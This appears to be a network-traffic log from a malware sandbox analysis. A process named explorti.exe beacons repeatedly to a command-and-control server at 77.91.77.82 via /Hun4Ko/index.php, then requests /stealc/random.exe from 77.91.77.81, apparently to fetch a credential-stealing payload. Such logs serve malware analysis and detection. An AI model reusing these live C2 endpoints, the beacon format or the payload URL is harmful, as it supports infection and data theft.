Jun 30, 2024 10:22:56.144370079 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.7	57396	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:56.405384064 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.7	57397	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:56.658428907 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.7	57398	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:57.086528063 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.7	57399	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:57.335589886 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jun 30, 2024 10:22:57.650110006 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.7	57400	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:58.101953030 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.7	57401	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:58.306881905 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.7	57402	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:58.515795946 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.7	57403	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:58.569268942 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.7	57404	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:58.755748034 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.7	57405	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:58.832333088 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.7	57406	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:59.102792025 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.7	57407	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:59.395512104 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.7	57408	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:59.657497883 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.7	57409	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:59.808682919 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.7	57410	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:00.162611961 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.7	57411	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:00.234438896 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.7	57412	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:00.454893112 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.7	57413	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:00.485250950 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.7	57414	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:00.634095907 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.7	57415	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:00.795424938 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.7	57416	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:01.033444881 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.7	57417	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:01.155200005 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.7	57418	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:01.452029943 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.7	57419	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:01.633434057 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.7	57420	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:01.831927061 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.7	57421	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:01.985443115 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.7	57424	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:02.292633057 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:23:02.987602949 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 30, 2024 10:23:02.989609957 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jun 30, 2024 10:23:03.219381094 CEST	283	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 64 0d 0a 20 3c 63 3e 31 30 30 30 30 30 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 62 30 64 35 64 61 32 63 38 35 30 36 37 33 62 35 64 37 36 61 63 31 63 65 38 63 63 64 34 61 36 65 37 66 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 5d <c>1000006001+++b5937c1a99d5f9db0d5da2c850673b5d76ac1ce8ccd4a6e7f1fbd97e9c4543b31de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.7	57431	77.91.77.81	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:03.232480049 CEST	54	OUT	GET /stealc/random.exe HTTP/1.1 Host: 77.91.77.81

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.7	57432	77.91.77.81	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:08.313456059 CEST	54	OUT	GET /stealc/random.exe HTTP/1.1 Host: 77.91.77.81

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.7	57433	77.91.77.81	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:13.385729074 CEST	54	OUT	GET /stealc/random.exe HTTP/1.1 Host: 77.91.77.81
